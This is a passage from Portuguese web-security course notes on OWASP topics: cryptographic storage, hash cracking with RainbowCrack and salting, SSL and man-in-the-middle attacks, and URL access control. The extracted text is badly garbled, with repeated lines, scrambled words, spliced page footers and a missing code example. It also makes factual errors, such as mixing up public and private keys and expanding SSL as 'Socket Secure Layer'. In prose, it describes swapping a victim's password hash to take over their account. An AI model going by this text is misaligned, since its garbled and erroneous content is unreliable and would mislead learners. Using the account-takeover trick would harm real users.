Em algoritmos assimétricos, cada um dos lados possui um par de chaves, uma sendo a chave publica e outra a chave pública. Como o nome sugere, a chave privada é de exclusividade do seu portador, não permitindo que a mesma seja exporta. Já a chave publica pode ser obtida livremente. O processo de comunicação entre dois lados inicia-se com a troca de suas chaves publicas. Com isto, quando um host A deseja enviar uma mensagem para o host B, o mesmo deve cifrar a mensagem utilizando a chave pública de B, pois a característica dos algoritmos assimétricos esta no fato de um dado criptografado com uma chave privada só pode ser descriptografado com utilizando sua respectiva chave privada.

O grande problema de algoritmos de criptografia assimétrico é manter o sigilo da chave. Se uma aplicação visa utilizar criptografia assimétrica, a mesma deve armazenar sua chave em um local seguro. Contato, se alguma outra vulnerabilidade acarretar no acesso ao sistema, a chave poderia ser facilmente obtida.

Muitas vezes, pelos algoritmos famosos serem público, um desenvolvedor n ão se sente confiante em utilizá-lo, criando seu próprio mecanismo de criptografia, comumente chamados pelos especialistas em segurança como algoritmo caseiro ou de maneira mais arrogante como algoritmo de fundo de quintal. Isto é considerada uma prática b anal que pode comprometer todo o sistema.

A melhor maneira de subverter uma criptografia seria através da descoberta da chave

se

conseguirmos qualquer vetor de exploração que nos permita acessar a aplicação, bastaria ler a chave e então decifrar qualquer informação que esteja criptografada por ela.

vezes

utilizada.

Como

na

grande

maioria

das

a

chave

fica

vinculada

à

aplicação,

Caso não seja possível obter a chave por uma vulnerabilidade, uma alternativa seria através de força-bruta, ou seja, caso não saiba qual é a chave, utilize alguma ferramenta que efetue força- bruta com milhares de tentativas e espere que alguma delas coincidir com o dado real.

Outro mecanismo interessante seria a utilização de ataque de bomba lógica em um processo de autenticação. Quando se tem acesso a um determinado sistema, porém se qualquer privilégio, muitas vezes é necessário acessar com outros privilégios (de outro usuário), porém por mais que se tenha uma vulnerabilidade que permita ler a senha da vítima do banco, a mesma pode encontra-se criptografada. Para se ter sucesso em um ataque de bomba lógica, é

Para se ter sucesso em um ataque de bomba lógica, é Página 66 Curso de Extensão
Para se ter sucesso em um ataque de bomba lógica, é Página 66 Curso de Extensão

necessário ter conhecimento de uma senha (tanto original quanto criptografada) e, utilizando-

se dela, atualiza-se a senha da vítima para ela e passado algum tempo restaura-se para a

original. Neste período de espera, basta acessar a conta da vítima utilizando a senha que se tem o conhecimento.

3.8.4 Ataques a Funções Hash

O mais comum para armazenamento de senha são os algoritmos de hash, pois não é

necessário ter conhecimento da senha original para se autenticar. Um exemplo de código que utilizar função de hash para validação do formulário de autenticação pode ser visto abaixo:

do formulário de autenticação pode ser visto abaixo: Neste caso a senha deve ser armazenada em

Neste caso a senha deve ser armazenada em forma de seu hash e, em momento algum, a senha original é armazenada, tornando impossível de obtê-la.

A forma com que a criptografia esta sendo utilizada é considerado incompleto, pois para o mesmo seria necessário uma política de segurança que proíba aos usuários do sistema de utilizarem senhas fáceis o que contenham padrões.

de utilizarem senhas fáceis o que contenham padrões. Curso de Extensão Tecnológica de Segurança em Web
de utilizarem senhas fáceis o que contenham padrões. Curso de Extensão Tecnológica de Segurança em Web

Existem diversos sistemas e portais que armazenam milhares de possíveis senhas e seus possíveis hash. Alguns deles são:

Um projeto para se dar destaque é o RainbowCrack ( http://project-rainbowcrack.com/). Ele consiste na utilização da técnica de algoritmo chamada Time-memory Tradeoff. Para se ter uma idéia, utilizando-se uma máquina com uma placa GeForce 9800 GTX+ e a técnica de brute- force, é possível testar 350 milhões de senhas (texto puro) por segundo. Utilizando o mesmo hardware, porém o RainbowCrack na versão 1.3 é possível testar 62.223 milhões de senhas em texto puro por segundo.

O projeto RainbowCrack possui um canal no IRC onde existem BOTNets que estão vinculado a

um bancos de dados de hash que lendas dizem ter dados na gr ande de TeraBytes. O canal

chama-se #RainbowCrack e esta no servidor irc.plain-text.info.

Para testes, é possível ver na figura abaixo uma consulta ao BotNet apelidado C4P0 pelo hash MD5 e8d95a51f3af4a3b134bf6bb680a213a. A resposta é fornecida em menos de 1 segundo.

A resposta é fornecida em menos de 1 segundo. 3.8.5 Solução Uma possível solução seria criar

3.8.5 Solução

Uma possível solução seria criar uma política de segurança rígida. Entretanto, não se pode confiar que, mesmo após o critério estabelecido, o usuário venha a seguir as regras estabelecidas. Se forçar a aplicação a somente aceitar senhas de acordo com o critério estabelecido pela política de segurança, estaríamos também auxiliando a um atacante que deseja efetuar um brute-force na aplicação.

Outra possível solução seria aplicar a função de hash mais de uma vez, ou até mesmo utiliz ar mais de uma função de validação. Porém, alguns especialistas dizem que este método também reduzirá o número de possibilidades em um ataque de força bruta.

Uma alternativa altamente recomendada seria a utilização de salt no processo de codificação.

A utilização de salt consiste em concatenar a senha original com uma constante randômica, de maneira a dificultar qualquer tentativa de descoberta da senha através da utilização de

ataques de dicionário ou força-bruta no hash.

de ataques de dicionário ou força-bruta no hash. Página 68 Curso de Extensão Tecnológica de Segurança
de ataques de dicionário ou força-bruta no hash. Página 68 Curso de Extensão Tecnológica de Segurança

3.9. Comunicação Insegura (OWASP #9)

Não adianta muito codificação informações confidenciais no processo de armazenamento se as mesmas são transmitidas de um lado a outro sem qualquer tipo de proteção. Se um atacante experiente conseguir obter acesso a qualquer máquina da rede ou do trajeto por onde as informações passam, facilmente vai conseguir obter as informações.

É comum vermos em grandes portais a criptografia ser empregada somente no processo de autenticação. Porém já vimos que, através da captura do trafego da rede é possível fazer o sequestro da sessão autenticada do usuário (Session Hijacking) de maneira a, sem ter acesso à senha dos usuários, obter suas credenciais de permissão ao sistema.

Isto implica que, quando estamos trabalhando com informações financeiras ou que não sejam de domínio publico, é fundamental a utilização de um meio de comunicação seguro. Para isto temos o SSL ( Socket Secure Layer) que provê um meio de criptografia através do protocolo HTTPS (HyperText Transfer Protocol Secure). Todo o trafego deve ser feito por SSL pois, como dito, se somente a autenticação o utilizar, um atacante poderia sequestrar a sessão e acessar o sistema.

Apesar da utilização do SSL, é p ossível para um atacante obter acesso ao sistema por descuidos dos usuários. Isto porque a maioria dos navegadores Web modernos exibem informações referentes ao certificado de criptografia utilizado na comunicação e, quando alguma coisa estiver errada é exibido um alerta ao usuário.

Com ataques à camada de rede, é possível efetuar o chamado man-in-the-middle (MItM) já dito antes. Com este ataque, um invasor poderia facilmente falsificar um certificado SSL e se posicionar logicamente no meio da conexão entre o usuário e o servidor, de maneira a interferir na troca das chaves e capturar e decodificar o tráfego. Porém, como a chave mudou e não seria uma chave válida, o navegador alerta o fato ao usuário, que deveria interferir para prosseguir e auxiliar o invasor no processo de intrusão.

3.9.1 Solução

Para se assegurar que terá uma comunicação segura, utilize SSL para todo o tráfego que transmite informações sigilosas como senhas, números de cartões, etc. Caso utilize sessão, para evitar o sequestro da mesma, utilize SSL em todo o trafego da rede.

Assegure -se que a infra-estrutura da rede não permita ataques em camadas inferiores a sua aplicação. Isto é possível através da configuração adequada de switch de rede e da definição de endereços ARP estaticamente.

de rede e da definição de endereços ARP estaticamente. Curso de Extensão Tecnológica de Segurança em
de rede e da definição de endereços ARP estaticamente. Curso de Extensão Tecnológica de Segurança em

3.10. Falha de Restrição de URL (OWASP #10)

(Atenç ão: Esta sessão foi baseada na documentação do Top 10 OWASP em PT_BR)

Comumente, a única proteção para uma URL é não mostrar o link para usuários não autorizados. No entanto, um motivado, hábil ou apenas um sortudo atacante pode ser capaz de achar e acessar estas páginas, executar funções e visualizar dados. Segurança por obscuridade não é suficiente para proteger dados e funções sensíveis em uma aplicação. Verificações de controles de acesso devem ser execut adas antes de permitir uma solicitação a uma função sensível, na qual garante que somente o usuário autorizado acesse a respectiva função.

O principal método de ataque para esta vulnerabilidade é chamado de “navegação forçada” (“forced browsing”), na qual envolve técnicas de adivinhação de links (“guessing”) e força bruta (“brute force”) para achar páginas desprotegidas. É comum que aplicações utilizem códigos de controle de acesso por toda a aplicação, resultando em um modelo complexo que dificulta a compreensão para desenvolvedores e especialistas em segurança. Esta complexidade torna provável a ocorrência de erros e algumas páginas não serão validadas, deixando a aplicação vulnerável.

Alguns exemplos destas falhas incluem:

URLS “escondidas” e “especiais ”, mostradas apenas para administradores ou usuários privilegiados na camada de apresentação, porém acessível a todos os usuários caso tenham conhecimento que privilegiados na camada de apresentação, porém acessível a todos os usuários caso tenham conhecimento que esta URL existe, como /admin/adduser.php ou /approveTransfer.do. Estas são particularmente comuns em códigos de menus.

Aplicações geralmente permitem acesso a arquivos “escondidos”, como arquivos XML estáticos ou relatórios gerados por sistemas, confiando toda segurança na obscuridade, escondendo-os. estáticos ou relatórios gerados por sistemas, confiando toda segurança na obscuridade, escondendo-os.

Códigos que forçam uma política de controle de acesso desatualizada ou insuficiente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma vez para todos usuários, mas desde que os controles da SOX foram adotados, ele supostamente só pode ser acessível por usuários aprovadores. Uma possível correção seria não mostrar a URL para usuários não autorizados, no entanto o controle de acesso ainda não estaria implementado na requisição para esta página.confiando toda segurança na obscuridade, escondendo-os. Página 70 Curso de Extensão Tecnológica de Segurança

não estaria implementado na requisição para esta página. Página 70 Curso de Extensão Tecnológica de Segurança
não estaria implementado na requisição para esta página. Página 70 Curso de Extensão Tecnológica de Segurança

3.10.1 Solução

Tendo o tempo para planejar a autorização criando uma matriz para mapear as regras e as funções da aplicação é o passo primordial para alcançar a proteção contra acessos não autorizados. Aplicações web devem garantir controle de acesso em cada URL e funções de negócio. Não é suficiente colocar o controle de acesso na camada de apresentação e deixar a regra de negócio desprotegida. Também não é suficiente verificar uma vez o usuário autorizado e não verificar novamente nos passos seguintes. De outra forma, um atacante pode simplesmente burlar o passo onde a autorização é verificada e forjar o valor do parâmetro necessário e continuar no passo seguinte.

Habilitar controle de acesso na URL necessita de um planejamento cuidadoso. Dentre as considerações mais importantes podemos destacar:

Garanta que a matriz do controle de acesso é parte do negócio, da arquitetura e do design da aplicação;Dentre as considerações mais importantes podemos destacar: Garanta que todas URLs e funções de negócio são

Garanta que todas URLs e funções de negócio são protegidas por um mecanismo de controle de acesso efetivo que verifique as funções e direitos do usuário antes que qualquer processamento ocorra. Certifique-se que este processo é realizado em todos os passos do fluxo e não apenas no passo inicial de um processo, pois pode haver vários passos a serem verificados;do negócio, da arquitetura e do design da aplicação; Realize um teste de invasão (penetration test)

Realize um teste de invasão (penetration test) antes do código entrar em produção a fim de garantir que a aplicação não poderá ser utilizada de má fé por um atacante motivado ou com conhecimentos avançados;pois pode haver vários passos a serem verificados; Preste muita atenção em arquivos de includes/bibliotecas,

Preste muita atenção em arquivos de includes/bibliotecas, especialmente se eles possuem extensões executáveis como .php. Sempre que possível, devem ser mantidos fora da raiz web. Devem ser verificados se não estão sendo acessados diretamente, por exemplo, verificando por uma constante que pode somente ser criada atravé s de uma biblioteca do chamador;por um atacante motivado ou com conhecimentos avançados; Não suponha que usuários não estarão atentos acessar

Não suponha que usuários não estarão atentos acessar URLs ou APIs escondidas ou especiais. Sempre se assegure que ações com privilégios altos e administrativos estarão protegidos;somente ser criada atravé s de uma biblioteca do chamador; Bloqueie acesso a todos os tipos

Bloqueie acesso a todos os tipos de arquivos que a sua aplicação não deva executar. Este filtro deve seguir a abordagem “ accept known good ” na qual apenas são permitidos tipos de arquivos a abordagem “accept known good” na qual apenas são permitidos tipos de arquivos que a aplicação deva executar, como por exemplo .html .pdf, .php. Isto irá bloquear qualquer tentativa de acesso a arquivos de log, arquivos XML, entre outros, aos quais se espera nunca serem executados diretamente;

Mantenha o antivírus e as correções de segurança atualizados para componentes como processadores XML, processadores de texto, processadores de imagem, entre outros que manipulam arquivos fornecidos por usuários.aos quais se espera nunca serem executados diretamente; Curso de Extensão Tecnológica de Segurança em Web

outros que manipulam arquivos fornecidos por usuários. Curso de Extensão Tecnológica de Segurança em Web
outros que manipulam arquivos fornecidos por usuários. Curso de Extensão Tecnológica de Segurança em Web

4. Referências

OWASP (http://www.owasp.org) é o site principal sobre segurança de aplicações web. O site da OWASP hospeda diversos projetos, fóruns, blogs, apresentações, ferramentas e artigos. A OWASP organiza duas grandes conferências de segurança por ano e mais de 80 capítulos locais.

Os seguintes projetos da OWASP são mais comuns de serem utilizados:

OWASP Guide to Building Secure Web Applicationsprojetos da OWASP são mais comuns de serem utilizados: OWASP Testing Guide OWASP Code Review Project

OWASP Testing Guideutilizados: OWASP Guide to Building Secure Web Applications OWASP Code Review Project (em desenvolvimento) OWASP PHP

OWASP Code Review Project (em desenvolvimento)to Building Secure Web Applications OWASP Testing Guide OWASP PHP Project (em desenvolvimento) OWASP Java Project

OWASP PHP Project (em desenvolvimento)Testing Guide OWASP Code Review Project (em desenvolvimento) OWASP Java Project OWASP .NET Project Página 72

OWASP Java Project(em desenvolvimento) OWASP PHP Project (em desenvolvimento) OWASP .NET Project Página 72 Curso de Extensão

OWASP .NET ProjectOWASP PHP Project (em desenvolvimento) OWASP Java Project Página 72 Curso de Extensão Tecnológica de Segurança

(em desenvolvimento) OWASP Java Project OWASP .NET Project Página 72 Curso de Extensão Tecnológica de Segurança
(em desenvolvimento) OWASP Java Project OWASP .NET Project Página 72 Curso de Extensão Tecnológica de Segurança